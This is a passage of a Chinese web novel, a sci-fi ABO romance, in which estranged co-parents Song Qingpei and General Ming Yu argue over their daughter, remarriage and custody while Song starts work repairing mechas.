宋青佩一副不解的模样看着她,好像真的不明白似的,冷淡道:“明毓,我们的关系早就结束了,现在除了有一个共同的女儿毫无关系。你现在是以什么身份质问我如此私密的问题?” 直白地质问堵得明毓哑口无言。 宋青佩说得没错,两人早就结束了,可她心里仍旧有一股火气,无处发泄。 她深吸了一口气,压抑住怒火,故作冷静地说:“我只是觉得,颂颂还小,你起码不应该在这时候跟其她人暧昧不清。” “是吗?”宋青佩忍不住讥讽道,“你不是都去相亲了吗?做人不要太双标!” “我没有!” 宋青佩嗤笑一声,“刚才一起吃饭的是谁?” “我们只是……” 明毓想说什么,却被宋青佩截断,“算了,这是你的私事,我也管不着。” 宋青佩说着就要推门下车。 见状,明毓伸手握住她的胳膊,沉默片刻后,低沉着嗓子道:“宋青佩,你是在因为宋惜寒吃醋吗?” 好像听到什么笑话般,宋青佩嘲弄地笑了,“你觉得呢?” 明毓眸光闪了闪,不知道在想些什么。 见她沉默不语,宋青佩也不理会她了,径自推开车门下了车。 刚走了两步,明毓从车上下来,再度拦住了她的去路,执拗地望着她。 “宋青佩,你说过你爱我。” 完全搞不懂她想干什么的宋青佩,愣了一下,下意识地脱口反驳道:“谁爱你了?” “诱情香的那天晚上,你亲口说的你爱我。”明毓咄咄逼人地追问。 不提那晚还好,提起那晚宋青佩就想起来挨的耳光,气极,冷笑:“我说的爱过,爱过你懂吗?就是现在不爱了,我又不是受虐狂,干吗要去犯贱喜欢一个不爱自己的人?” 明毓怔怔地盯着她,好像在辨别她话语的真假。 宋青佩见状,更加生气,只以为她在试探自己是不是还存着不好的心思。 当即冷声道:“明毓,我说到做到,绝不会再纠缠你。也希望你能有点风度,既然要断就断干净,不管你去相亲还是恋爱,都不要再拿颂颂威胁我帮你度过发热期,这让我感觉恶心。” 说完,甩开了她的手,大步离去。 留下明毓一个人站在原地,久久没能回过神。 她……居然说她恶心? 明毓脸上一阵红一阵白,难怪这段时间,她总觉得宋青佩的态度变得很奇怪,跟记忆中完全不一样。 原来是……已经不喜欢她了。 一瞬间,明毓觉得好像揪心地疼,可她还是不想承认。 她不甘心。【你现在阅读的是魔蝎小说 moxiexs】 第20章【VIP】 第20章 你还会结婚吗? 宋青佩离开后,就有些后悔。 她倒不是后悔跟明毓撕破脸,只是比较担心明毓强势惯了,这次被她怼的如此没面子,会不会直接一气之下将她赶出去,毕竟她要啥啥没有,真就是无家可归。 可转念想想,要是一直这么忍下去,可能就要先抑郁了。 算了,到时候再说,见招拆招吧。 她决定先跟自己和解,调整好情绪,步伐轻快地进了门。 大厅里,颂颂正抱着小熊坐在沙发上,小腿一晃晃的,不知道在和苏管家说些什么,大大的眼睛却一直看着门口。 看到人影一闪,她立刻从沙发上跳下来,抱着小熊欢快地扑向宋青佩。 宋青佩很配合地蹲下身子,朝着她张开大大的拥抱。 “妈妈,妈妈~” 颂颂软绵绵的撒娇,惹得宋青佩一颗心都融化成水了,连忙弯腰将她抱起来,在她的小脸蛋上重重地啵了两口,“宝贝儿,今天乖不乖?” “嗯嗯嗯,妈妈我很乖哒。”颂颂用力地点头。 宋青佩心中的阴霾一扫而空,夸道:“颂颂真棒。” 颂颂嘟着嘴,一脸委屈,“可是妈妈和妈咪不在家,都没有人陪我玩,颂颂一个人一点也不好玩。” 宋青佩摸了摸她的小脑袋,柔声哄道:“那妈妈周末带你出去玩好不好?” “不好。”颂颂一秒钟拒绝。 宋青佩有些意外:“为什么啊?” “颂颂不想出去玩,颂颂想和妈妈一起睡觉,颂颂好久没和妈妈一起睡觉觉了。” 奶声奶气地撒着娇,颂颂一脸期待地望着宋青佩。 宋青佩犹豫了几秒,还是答应了。 “好吧。” 听到宋青佩的允诺,颂颂顿时开心起来,在宋青佩怀里蹭来蹭去的,不停地叫着:“妈妈最好了,妈妈最好了~” 看着女儿可爱的模样,宋青佩的心都要化了。 她轻轻拍了拍,笑道:“好了,别撒娇了,妈妈先洗澡换衣服,你先去妈妈房间等着。” “好呀好呀。”颂颂拍着小手兴奋地说道。 宋青佩笑着揉了揉她的脑袋,和苏管家打了声招呼,抱着颂颂上了楼。 两人前脚上楼,明毓后脚进了门。 苏管家看到她一脸疲惫的模样,立刻上前问:“上将,您回来了,要不要让厨房准备些夜宵?” 明毓摆了摆手,问:“颂颂的课程进行得怎么样了?” 苏管家恭敬道:“家庭教师根据学校的课程进行了详细的教学,小小姐学得很快,相信开学后不会有什么问题的。” 听到她这么说,明毓仿佛想到什么般,吩咐:“把颂颂的课程拿来给我。” 闻言,苏管家立刻去拿了课程递给她,明毓接过课程,快步上楼。 走到二楼转弯处,她顿了一下脚步。 只是谈谈关于颂颂的教育问题,宋青佩总不会拒绝吧? 哪怕这样自我安慰着,明毓还是不由背脊一紧,转身走向了宋青佩房间的方向。 刚刚靠近房门,就听到了里面传来咯咯的笑声。 她走进,刚想敲门,就听到里面传来了颂颂的声音,“妈妈,你还在生妈咪的气吗?” 明毓不由放缓了脚步,就连呼吸都放轻了许多,心脏莫名紧张起来。 小心翼翼地等着宋青佩的回答。 而宋青佩的回答,隔着房门听起来没什么情绪,“颂颂,妈妈没有生她的气。” 明毓不由皱起了眉,这明显是在哄小孩子的口气。 而颂颂的反应表示,小孩子都没被哄住:“妈妈骗人,你就是在生气,你都不理妈咪的。” “妈咪还没跟你道歉吗?” “妈妈,你会喜欢妈咪吗?” 小家伙连珠弩似乎地追问,却也替明毓问出了心中的疑问。 想到道歉,她虽然依旧有些拉不下脸。 可是如果她道歉,宋青佩愿意恢复之前的态度,她也不是不可以道歉…… 但是宋青佩的回答,打破了她所有的臆想:“颂颂,妈妈不喜欢你妈咪。以后妈妈和你妈咪也许会有别的伴侣,但不影响我们都会很爱你……” 回应她的,是颂颂哇的一声大哭! 而明毓几乎听不下去了,狠狠地攥紧了手中的课程表。 宋青佩的意思明显就是在和她划清界限,甚至明目张胆地给女儿传达这种观点,想到那夜陌生的Omega信息素,她越发的愤怒,就这么迫不及待吗? 明毓压抑着胸中燃烧的熊熊火焰,沉着脸转身离去。 而完全不知道明毓来过的宋青佩,正手忙脚乱地哄着哭成泪人的小家伙。 一听到自己要有后妈,颂颂崩溃不已,抱着宋青佩哭的上气不接下气,“呜呜~颂颂听话,妈妈不要……不要给颂颂找后妈,呜好不好?” 宋青佩不由愣住,心疼不已。 这段时间,她和明毓闹矛盾,颂颂的问题一直悬在她的心上。 既然明毓已经去相亲了,结婚肯定是早晚的事,如果女儿留在她身边,肯定要接受这件事,只要想到这个,她的心就忍不住揪疼。 可是现在看到女儿哭成这样,又忍不住自责起来,是她太心急了吗? 她抱着颂颂,亲了又亲:“颂颂,不哭了好不好,妈妈错了,妈妈不会不要颂颂的……” 小家伙一边抽泣,一边不依不饶:“妈妈骗人,呜呜呜,别不要颂颂……” 可怜兮兮的样子,让宋青佩的心像是被人拧在了一块,内疚又心疼。 她心底一痛,将颂颂搂入怀中,柔声道:“颂颂不哭,妈妈不会不要颂颂的……” “呜呜……” “妈妈保证,一辈子都不会不要颂颂……” 这一刻,宋青佩再次坚定了和明毓争夺颂颂的想法,不管两个人之间的差距有多大,她一定要拼命追上去。 起码,她现在有了希望,不再是没有精神力的废物。 宋青佩的保证总算让颂颂情绪稳定了一些,她又耐心地跟颂颂解释了许久,才让小家伙理解,不是妈妈要给她找后妈,是妈咪要给她找后妈。 小家伙果然没那么伤心了,但是更气了:“坏妈咪!惹妈妈生气,还要给颂颂找后妈,我们不要她了好不好?” “呃……”宋青佩哑然。 她倒是求之不得,只是明毓知道了,怕是不会善罢甘休。 想到这个无解的问题,宋青佩又是一阵头疼,只得先安抚颂颂睡觉了。 小家伙很快就在她怀中睡熟。 看着小家伙甜美安静的睡颜,宋青佩轻轻叹了口气。 “颂颂……妈妈绝对不会放弃你的……” 宋青佩轻轻在小家伙额头落下一吻,心情变得沉重起来。 她不敢想象,自己和明毓会走向哪一步。 可是她又不得不面对。 如果她不努力,不拼搏,不争取,她永远也没资格跟明毓平等地对话…… 翌日,宋青佩起来叫起了颂颂。 小家伙哼哼唧唧的睁开眼,因为昨晚哭得厉害,眼睛微微有些红肿,看得人心疼不已,宋青佩实在不忍心,只能纵容了她的撒娇。 给她穿好衣服,全程任由她像个树袋熊一样挂在身上,抱着人下了楼。 吃饭的时候,更是一边哄一边喂,看得旁边的苏管家直皱眉头,却又不好说什么。 直到明毓走下楼,视线落在两人身上。 而母女两人则默契地无视了她。 宋青佩是假装没看见,颂颂则是冲着她重重地哼了一声。 明毓见状,微微颦眉,走过去坐到两人对面。 她有意和宋青佩说话,想到昨晚听到的话,又觉得不该如此轻易低头。 于是将视线落到了颂颂身上,道:“颂颂,坐好,自己吃饭。” 颂颂直接扭开脸,理都不理她。 明毓见状,又加重语气道:“颂颂!” 这回颂颂总算有反应了,她扭着头,看着明毓气哼哼道:“讨厌!” 明毓:“……” 这孩子今天怎么怪怪的! 宋青佩在一旁轻咳一声,解释道:“颂颂今天不太开心,你别太严厉了。” 明毓看了宋青佩一眼,没有说话。 而是又看向颂颂,严厉道:“吃饭要有吃饭的规矩,礼仪老师怎么教你的,这么快就忘了!” 听到她的话,小家伙眼眶里蓄满了泪水,委屈极了,“坏妈咪!我不理你了!” 小家伙赌气,转身跑上了楼。 宋青佩连忙站起来,想要去追过去,但被明毓阻止。 “你不能太惯着她……” 但宋青佩并没有听她的,而是直接无视了她的话,快步追了上去。 等她将颂颂哄好,下楼,明毓已经离开了。 宋青佩窝着一肚子气,越发觉得明毓有问题,颂颂一个只有三岁半的孩子,未免对她也太过严厉了。 想到颂颂以后要面对这样的生活,越发觉得自己的决定是对的。 无论如何,她决不能放弃女儿的抚养权。 此后几天,母女两人默契地忽视了明毓,不仅没有交谈,甚至是连正眼都不瞧她,她从未试过这般挫败,被冷待、嫌弃的感觉。 就像一盆冷水兜头泼下,浇灭了她所有的气焰。 尤其是原本对她亲密了许多的女儿,突然之间就不再理睬她。 明毓觉得,这一切都是宋青佩搞的鬼! 可是宋青佩突然的冷淡和反常,让明毓根本不知道她葫芦里卖的是什么药。 难道她真的打算放弃颂颂离开? 这怎么可能! 明毓还是不愿相信,宋青佩真的会舍得放弃这一切,毕竟她在澜星无依无靠,离了她连生存都有问题,她怎么敢的? 难道认为找到一个工作就不可以翻身了吗? 明毓不由在心中暗笑她的天真,甚至隐隐有了一股冲动,让她没了工作,是不是就可以解决一切的麻烦,让宋青佩乖顺下来。 于是从军部回来的明毓,决定先去找了颂颂问问。 可她刚找到颂颂,小家伙就气哼哼地把头偏到另外一边,显然是还在气头上。 明毓无奈地叹息一声,只得哄道:“颂颂……” “坏妈咪,不准碰我!”小家伙倔强地嘟囔,“谁叫你凶我?你不喜欢我,我也不喜欢你了!” 明毓无奈,只得放软了态度:“颂颂,妈咪怎么会不喜欢你呢?” “哼,才不要相信!”小家伙噘起嘴巴地瞪着她,气鼓鼓地说:“坏妈咪!你要给我找后妈,我不理你了!” 说着就跑了。 明毓站在原地愣了一秒,而后才反应过来,连忙追了上去,在门口抓住了小家伙。 “颂颂,你误会了,妈咪没有这样想。”她耐着性子解释道。 小家伙哼哼唧唧地挣扎,明毓索性一把将她横抱了起来。 “坏妈咪!放开我!”小家伙挣扎着,嘴里喊道:“坏妈咪,你放我下来放我下来” 明毓不放她,直到看到小家伙哭出来,才不得不放开她。 “不哭了!我错了还不行吗?颂颂不哭好不好?” “呜哇……” 看着小家伙委屈地哭了,明毓心里也不好受,只得抱着她,笨拙地哄着。 苏管家闻声赶来,正好看到这一幕,顿时惊掉了下巴。 他家上将从来都是不苟言笑,冷漠骄傲的形象,什么时候这么温柔无措过? 这一刻,苏管家是真的不知道该如何形容自己的感觉。 这种情况,真心有点尴尬啊…… 他只能小心地过去,帮着哄了许久,小家伙才慢慢止住了哭声。 哭够了,颂颂抬头看向明毓:“我不要后妈!泥奏凯!” “谁说我要给你找后妈的?”明毓脸色黑了一大片。 小家伙哼了一声:“坏妈咪,就知道欺负我,我要找妈妈!” 明毓被噎了一下,“不许闹脾气,我没有要给你找后妈。” 颂颂一双湿漉漉的大眼睛盯着她,似乎还是不信。 明毓无奈,只得耐着性子又哄了许久,才终于从颂颂嘴里问出了事情的原委,气得脸色铁青。 “宋青佩,你真是好样的。” 听到她这么凶地叫着妈妈的名字,颂颂不乐意了,“不许这么大声喊妈妈!” 看着她那副护着宋青佩的模样,明毓简直气得不知道该说什么才好。 这个女人到底做了什么事情?让颂颂竟然这么维护她。 明毓想了想,最终道:“颂颂,你听好,妈咪不会给你找后妈的,你妈妈在骗你。” “妈妈不会骗我的!” 颂颂立刻不高兴了,小拳头攥得紧紧的,怒目圆睁,看着明毓。 明毓被她这副神态气得差点吐血,理智似乎也在慢慢消失。 “你妈妈在骗你!”明毓重复。 “不,妈妈不会骗我!”小家伙很固执地坚持。 明毓:“……” 她深吸一口气,强迫自己冷静下来,尽量用平稳的语调跟小家伙讲道理。 “颂颂,你相信妈咪好不好?妈咪真的不会给你找后妈的。反而是你妈妈,更有可能给你找个后妈……” 颂颂一下就炸了,“你骗人!妈妈不会给我找后妈的!” 不想让女儿跟自己生嫌隙,明毓狠心道:“颂颂,你妈妈以后可能会有别的伴侣,也可能会有别的孩子……” 听她这么一说,刚刚止住哭声的颂颂,一下又哭了起来,“呜哇……妈咪骗人!妈妈不会给我找后妈的,妈妈不会给我找后妈的…… 这一哭,昏天暗地,不管怎么哄都没用了。 明毓彻底没辙了。 一阵无力感袭来,她揉了揉眉心,不知道该怎么办才好。 等宋青佩回来,就看到明毓坐在客厅沙发上,一副失魂落魄的模样,女儿坐在一边低垂着头,时不时抽泣一声,看上去伤心极了。 宋青佩吓了一跳,“你们……怎么了?” 颂颂见她回来,立刻从沙发上跳下来扑进她怀里,委屈地告状:“妈妈,妈咪欺负我!” 听到这话,宋青佩脸色也变了,猛地抬头看向明毓。 “是坏蛋坏妈咪!”颂颂指控明毓,“她说妈妈要给我找后妈……我不要后妈!我不要后妈……呜呜……” 听着女儿哭得撕心裂肺,宋青佩更加心疼了。 她连忙抱紧女儿,轻拍她的背安慰道:“乖,不哭不哭,妈妈不会给颂颂找后妈。” 说完,她抬头望着明毓,皱眉道:“这到底怎么回事?” “这话应该我问你吧?”明毓没好气地说。 宋青佩一怔,不知所以然。 明毓深呼吸了一口,才压抑住怒火:“宋青佩,你这么做有什么好处?” “你什么意思?”宋青佩不明所以。 “你不要装傻了。”明毓冷哼一声,“为什么要挑拨我和颂颂的关系?造谣我要给她找后妈。” 反应过来明毓的意思,宋青佩正要反驳她,转头看到旁边颂颂紧张地瞪大了眼睛,生怕两人的争执吓到了她,赶紧止住了话题。 她将颂颂哄好后,让苏管家将人带到了楼上。 宋青佩直视着明毓,坦然地解释道:“你都去相亲了,结婚不是早晚的事,我只是想要颂颂早点接受这件事情。” 听她如此从容地说出这件事,明毓一窒,半晌才咬牙道:“可我没答应!” “答不答应有什么区别吗?“宋青佩淡然道:”反正你迟早要结婚,不是这位宋小姐,也会是别的女人,其实也没太多分别。颂颂留在你身边,迟早要面对这一切。” 明毓沉默了,脸色阴郁得吓人。 她甚至不是因为宋青佩对女儿说她的坏话生气,而是有着无法言明的恐惧。 宋青佩似乎已经很平静地接受了她会跟别人结婚,没有一点点点的意外,伤心失落或者痛苦。 她就没有一丁点儿在乎了吗? 还是她早就做好了离开的想法,迫不及待地想要和她划清界限,开始自己的新生活? 这个发现让明毓无措,几乎是本能的,她抗拒着这个发现。 她不敢再继续往下想了,而是一把握住了宋青佩的手腕,声音微微颤抖着:“宋青佩,颂颂还小,我保证不会跟别人结婚。你也不准,听到了没有?” 宋青佩没想到她会突然有这样的举动,愣了一秒钟,随即冷静地问:“你的保证是多久呢?一年?三年?五年?还是……” “我不会再结婚!”明毓急切地表明自己的态度。 这话着实让宋青佩惊到了。 “你确定?”宋青佩有些不信。 明毓郑重点头:“确定!我不会再结婚的!” “这样啊……”想了想,宋青佩点了点头,“那我误会你了,我跟你道歉,也会去跟颂颂解释清楚的。” “嗯?”明毓看着她。 等着她同样的保证,不会和别的Omega结婚。 宋青佩不解地看着她,似乎并没有明白过来她的意思。 明毓皱了皱眉,心里涌起一股烦躁之意,不由冷下脸道:“你没有什么要说的了吗?” 这话问得宋青佩一愣:“什么?” “……” 明毓脸色难看得厉害。 见她不说话,宋青佩懒得猜,直接道:“我们走吧,去跟颂颂解释清楚,免得她又哭起来。” 见她装傻,明毓气地冷笑,“宋青佩,你是不是忘了什么?” “嗯?”宋青佩不解的看着她。 明毓终究是没忍住,怒道:“我已经为了颂颂答应不再结婚,你呢?” 理解她的担心,宋青佩道:“你放心,我更不会伤害颂颂的。这次的事确实是我欠考虑了,以后我会注意的,希望我们能和平相处,给颂颂一个健康快乐的成长环境。” “所以呢?你还会结婚吗?” 明毓直接忽略了她示好的话,步步紧逼,非要她给出一个明确的答案。 宋青佩倒并不是有再结婚的打算,只是觉得感情这种事根本说不好,谁知道以后会发生什么呢?就连明毓说的,这辈子不会再结婚这话她也是不怎么相信的。 而且她确实渴望家庭的温暖,于是坦诚道:“我觉得,这种事情没必要说那么多,就算你真的要结婚,只要颂颂能慢慢接受,也不是不可以。我们只要别伤害到颂颂就可以了,不是吗?” 明毓闻言,顿时气得七窍生烟。 这个女人,果然还是有跟别人结婚的打算。是因为在她这里看不到任何希望,所以就准备放手去另寻新枝了吗? 想到这个可能,明毓更是气得浑身发抖。 宋青佩不知道她又在气什么,不耐烦道:“没事了吧,我去看看颂颂。” 说罢,她起身朝楼上走去。 望着她离开的背影,明毓的胸腔内燃烧起熊熊的怒焰,恨不得冲上去掐住她的肩膀逼她说出自己想听的承诺。 但最终,她忍了。 深深吸了一口气,明毓努力平息愤懑,强迫自己不要冲动行事。 这个女人或许是在欲擒故纵,为的就是拿到更多和她谈判的筹码,她不能自乱阵脚。 明毓努力平复好心情,这才缓步上楼。 不知道宋青佩跟颂颂说了些什么,颂颂已经没有排斥她了。 “妈咪~” 见明毓来了,颂颂喊了一声。 明毓走过去,摸了摸她的小脑袋,“颂颂不生气了?” 颂颂有些不好意思地鼓着脸,小声说:“颂颂以后不叫你坏妈咪了嘛~” 明毓莞尔:“颂颂真乖。” 颂颂笑嘻嘻地看着她,突然伸出手臂拉了拉她衣角。 明毓愣了愣,俯身低头看着她。 “颂颂,怎么啦?” 颂颂立刻说:“颂颂想让妈咪亲亲,抱抱~” 完全被她撒娇的模样拿捏,明毓赶紧弯腰抱起她。 见状,颂颂满足地闭上了眼睛,嘴角扬起灿烂的笑。 见状,明毓忍不住在她额头亲了一口,难得的温柔模样。 这一幕宋青佩看到,眼中闪烁着复杂的光芒,心中有种说不出的滋味。 一切回不到当初了,能给女儿一个融洽的家庭氛围也好。【你现在阅读的是魔蝎小说 moxiexs】 20-30 第21章 你是想让我还你一耳光吗? 宋青佩入职蓝海后,一切在慢慢步入正轨。 她努力地融入新的生活,每天忙于吸收新的知识,和慕容瑞雪这个新上司更相处融洽,亦师亦友,更是学到了很多从前自己接触不到的东西。 而颂颂也从开始的黏人,慢慢变得开朗了许多,每天缠着问她关于机甲的事情,小嘴叭叭个不停,得知宋青佩要学习很多东西才能设计机甲给她后,不再一味地撒娇让妈妈早点回家,而是开始鸡妈让她多在公司学点东西。 对此,宋青佩哭笑不得。 至于被她故意忽略,那座曾经压在她头上的大山—— 明毓,每天都在忙于军事会议,早出晚归的,根本没什么时间找茬。 这反而让宋青乐得清闲,她甚至觉得,要是能维持这样相对和平的状态到两人约定的时间,那真是再好不过了。 可惜,这只是她的一厢情愿,明毓对此早有不满。 她本以为,两人解开关于相亲的误会后,宋青佩的态度会有所缓和。 可宋青佩对她冷淡依旧,甚至称得上无视。 一个没什么前途的工作,每天早出晚归的,两人几乎没什么见面的时间,哪怕是匆匆打个照面,她也只是淡淡的一两句敷衍的客套话,几乎将不耐烦写到脸上。 明毓说不清自己是个什么感觉,只觉胸口闷闷的,酸涩不已。 她自认能主动和宋青佩划清界限,但宋青佩有什么资格给她甩脸子?还敢说她恶心,她除了和宋青佩发生过关系,从来都是洁身自好。 越想明毓越不满,再也不能拿什么欲擒故纵的借口安慰自己。 明毓处理完手上的工作,烦躁地按了按眉心,还是忍不住打开了邮箱。 她一直没有让明芮撤掉盯着宋青佩的人。 邮件中,宋青佩的行踪没有什么特殊的,不外乎每天家和公司两点一线,可是看着照片中,宋青佩和慕容瑞雪有说有笑一起吃饭的模样,她越发觉得刺眼,印象中宋青佩从来没有这样笑过。 继续往后翻了翻,越看越恼火,正想关上邮件。 忽然,余光瞥见了邮件上的日期——08.24。 她不由愣了一下,思绪有片刻恍惚,今天……是她的生日。 严格上来说,是她受伤失忆,被宋青佩救回去那天。 因为她当时什么都不记得了,宋青佩怕她难过,就每年在这天给她过生日,虽然只是寒酸的买个蛋糕,还会在上写着很滑稽的一行字——愿梦梦早日恢复记忆。 梦梦是宋青佩给她取的名字,她说碰到她好像在做梦。 后来宋青佩叫过她梦梦,老婆,宝贝。最肉麻恶心的时候会抱着她喊亲亲老婆…… 曾经这些都是不愿回想的羞耻记忆,此刻想来,她忽然没有那么抗拒了。 或许是因为宋青佩说过爱她,如果这些是出于爱…… 鬼使神差,明毓忍不住给宋青佩发了条消息: 【我今晚会早点回去】 发完,她才反应过来太过冲动。 想撤回,犹豫了一会,最终还是没有撤回。 宋青佩,应该会懂她的意思。 她甚至想,或许宋青佩早就在做准备,不如她给个台阶,到时候再给宋青佩道个歉,相信她会见好就收的。 明毓正沉浸在自己的思绪中,突然门被敲响。 她回过神,关闭邮箱,才出声:“进来。” 门被推开,一身黑色烫金军制服的高挑女Alpha,腰细腿长,大步走了进去。 她看上去二十五岁左右,戴着副金丝边框的眼镜,镜片后的一双桃花眸,眼角眉梢尽显风情。 见人进来,明毓不由皱起了眉。 这并不是个好相与的人,战南笙既是她同届的军校校友,也是她的老对手,一贯无事不登三宝殿,她已经隐隐猜到了对方来干什么。 战南笙走近,微微侧头,轻笑道:“明上将,好久不见。” 明毓并未起身,只是淡声道:“战中将,找我有事吗?” 果然,不过寒暄两句,战南笙便直入了主题。 她看着明毓,眼睛里咄咄逼人:“林元帅找你说了组建澜星高级军事学院的事。” 明毓点头,“是说过。” “你要当第一任校长?” 战南笙看向她,目光中满是探究。 明毓抬起头,看着她的眼睛,眼神有些犀利:“这是军事机密,我不能透露。” 她这话说得很直白,战南笙脸色一阵红一阵白。 她才是军部最年轻优秀的指挥官,组建高级军校是千载难逢拉拢年轻军官,培养自己势力的机会,这个*职位的升迁和荣耀本来是她的机会。 如今,却又被明毓半路给截和了。 从在军校就是,两个人作为对照一直在被比较,家族对于她寄予厚望,一直想让她压压明毓这个私生女的气焰,替姑姑这个原配狠狠打明家的脸。 可每次明毓都压她一头,让她这个Alpha颜面扫地,她如何咽得下这口气? “呵,明毓,这个校长可不是你想做就能做的。” 战南笙冷哼一声,眼底划过浓重的阴郁,“你的第七舰队长年驻扎在外,在澜星根基浅薄,根本就没有什么倚仗。我也知道你对于这件事没有什么兴趣,所以才会专门来找你,希望你识相点主动让贤。” 仿佛听到什么笑话般,明毓挑眉道:“我对此是不感兴趣,但为联邦培养新的军事力量是我的职责。只要接了这个任务,我必然会竭尽全力,绝不辜负林元帅的托付。” 她这句话,虽然听着场面,但字字铿锵,掷地有声。 “好一个尽职尽责,还真是会抢占道德制高点。” 战南笙起身,居高临下地看着她,一字一顿道,“你最好别得意太早,我倒是要看看,你到底能不能坐上这个位置。” “那就拭目以待。”明毓不置可否。 见她不为松动,战南笙心中的怒气更甚,“明毓,你就是个见不得人的私生女,要不是我表姐没得早,你和你那个小三妈怎么可能有机会上位,我倒要看看你能得意到几时。” 对于自己的出身,明毓一向讳莫如深,这也是她永远无法理直气壮反驳的痛。 而且战南笙所说句句属实,她确实无法反驳,若不是明家继承人意外身亡,原配怒而和明远泽离婚,她确实没有机会成为明家名正言顺的继承人。 她的脸色一阵青白交加。 战南笙却是越说越起劲儿,恨不得把明毓的丑事通通抖出来。 “我还听说,你失踪两年,不知道跟谁生了个野种。居然大摇大摆地将孩子带了回来,还搞了个隆重的认亲宴,生怕别人不知道似的,真是上梁不正下梁歪,你就跟你那个小三一样贱,就连你的孩子也……” “战南笙!” 明毓猛地站了起来,眼中杀气弥漫,“注意你的措辞!” 她妈做过的事明毓从不反驳,但是触及她的女儿,无疑触及了她的逆鳞,简直罪不可恕! 见她发火,战南笙冷嗤一声,“我说的难道不是事实吗?” 明毓深吸口气,努力控制住自己的怒气。 这个世界上有一种人,叫作得寸进尺,不给他们一点教训,他们永远都不会知道什么叫痛。 战南笙,就是典型的例子。 明毓选择了直接戳向她的痛处,勾唇冷笑:“战中将,元帅已经授权我预选军校创建需要的人选名单,我听说你手下的林奇和姜泽能力十分突出,不如就调过来为组建军校出一份力,你觉得如何?” “你……”战南笙气结。 林奇和姜泽是她的左膀右臂,要是被明毓调走,无异于在打她的脸。 战南笙一时语塞,明毓则不紧不慢道:“如果没有别的事,你可以出去了。” “你!” 战南笙被气得够呛,可是偏偏又无法反击,只好恨恨瞪她一眼,摔门离去。 等她走出办公室,关上房门,明毓嘴角勾起一抹讽刺的弧度。 战家在军部是什么地位,她再清楚不过,她不想跟战家闹僵,但不代表她会任由别人骑在她的头上作威作福! 刚才的话也不仅仅是威胁,她必须说到做到。于是她真的打开文档,将林奇和姜泽的名字加入了名单之中,这两人也确实是人才,那就更能让战南笙感觉到断臂之痛。 呵,她倒是要看看,战南笙准备怎么向她发难? 处理完这件事,明毓很快就将战南笙抛到了一边。 反正这么多年,两人交锋多次,战南笙占上风的次数屈指可数,她从未将这人当作真正的对手,她的对手从来都是战南笙幕后的战家。 明毓揉了揉眉心,下意识地看向智脑,深深颦眉。 依旧没有回复。 难道宋青佩还没看到? 她万万想不到,宋青佩不但看到了,而且还毫不犹豫地把信息给删了。 至于为什么删掉? 宋青佩只能说,因为看着闹心。 当看到这条莫名其妙的消息时,她好不容易平复的心情瞬间就不好了。 今天是什么日子,她自然记得,而且记得很清楚,甚至今天一整天都情绪有些低落。倒不是还对明毓有什么不切实际的想法,就是莫名的惆怅。 毕竟,她那么大个温柔黏人的老婆说没就没了,还不让人怀念一下。 想到恢复记忆的明毓这个臭德行,还要每天面对同一张脸,她就糟心,只觉自己对记忆中老婆的印象不停地被扭曲,甚至就连曾经的爱都在被不停地消耗。 她只能不停地催眠自己,老婆死了,现在的明毓只是个有着同样脸的画皮鬼。 至于明毓为什么莫名其妙给她发那个消息,她想都懒得想。 大家井水不犯河水,好好把女儿养大就行了,至于那些有的没的,乱七八糟的东西,她既没心思也没精力去想,为数不多的热情早就被明毓全部浇灭了。 于是,她也很快就将这事抛到了脑后,专心地投入了工作。 这段时间接触下来,她和慕容瑞雪已经越发默契,这是她第一次跟着维修检测战斗机甲,极为认真。 机甲外观像一只巨大的飞鸟,体积并不大,只有五米左右高,外壳上覆盖着金色的钢化玻璃,防弹性能极佳。 “这是飞鸟型号的初级战斗机甲,可航行里程约为十五光年,只能进行短距离的星际航行。它的主武器是激光三棱刺,具有穿透力和破坏力,但攻击范围有限,攻击力不强。” “这里是机甲的操纵键和精神力感应器。”慕容瑞雪指着操作台上的电脑屏幕介绍,“你可以尝试用精神力操纵一下。“ 宋青佩将手放到感情器上,随即,操作台缓缓上升,变成一个小型的平板。 她试着进行主脑操纵,发现指令不管怎么输入,都无法输入到系统中,这让她有些诧异。 “瑞雪姐,操作台和系统似乎失灵了?”宋青佩不确定道。 慕容瑞雪点点头,“没错,这台机甲应该是主脑系统故障,导致无法有效获取指令,需要进行修复。” 她点击启动,慕容瑞雪一边检测机甲的主脑损毁情况一边说,宋青佩认真地听着,并详细了的记录下各项数据。 等检查结束后,她才说:“瑞雪姐,我觉得这台机甲的损伤情况不算特别严重,可以修复。” “不急,今天不早了,明天再修。” “好。” 两人商议之后,决定明天让宋青佩上手试试。 宋青佩有些惊讶,“我……我行吗?” 慕容瑞雪笑道:“你就算不相信自己,也要相信我的眼光。” 听她这么说,宋青佩有些不好意思,认真道:“谢谢你,瑞雪姐,我一定会努力的。” 等两人从维修室出来,已经到了晚上九点。 宋青佩吓了一跳,没想到时间居然过得这么快,收拾东西准备回家。 旁边的慕容瑞雪开口道:“青佩,要不要一起去吃晚饭呢?” 宋青佩正欲开口,突然智脑响了,她接通,立刻露出颂颂大大的笑脸。 “妈妈,你什么时候回来啊?” “怎么了,宝贝儿想妈妈了?”宋青佩笑道。 “嗯嗯,我好想妈妈,颂颂今天想和妈妈一起睡。” “呃,这样啊……” 宋青佩看了眼慕容瑞雪,有些歉疚,“真是不好意思,我女儿比较黏人,让你见笑了。” “小孩子嘛,正常,你赶紧回去吧。” 两人又说了两句话,慕容瑞雪笑着离去。 宋青佩看着她离去前的背影,微微皱眉,不知道是不是她的错觉,慕容瑞雪实在对她太好了,总让她有种淡淡的不自在感。 这个想法未免有些白眼狼,可她总觉得哪里不对劲。 宋青佩心事重重地回去,就看到明毓和颂颂两个人正在大厅里等她。 看到她,颂颂一如往常地欢呼地扑进她怀里,“妈妈,妈妈~” “宝贝,抱抱。” 宋青佩笑着将颂颂抱起来,余光扫过明毓,见她冷脸依旧。 她不由想到了那条短信,当然她不会主动找骂,果断选择了装傻。 直接道:“时间不早了,我带颂颂先去睡觉了。” 说完,没再看明毓一眼,抱着颂颂直接往楼上走去。 被直接无视的明毓,气得胸口起起伏伏,脸色阴沉得可怕。 她等了一天,消息仿佛石沉大海。 她想着宋青佩是不是有什么惊喜要给她,于是晚上没吃饭,将工作处理完早早回家,从七点等到了十点多,要不是她怂恿颂颂给宋青佩打电话,这女人恐怕还舍不得回来。 结果人倒是回来,竟然直接无视了她! 不仅无视了她,甚至连一丁点儿眼神都吝啬给予她! 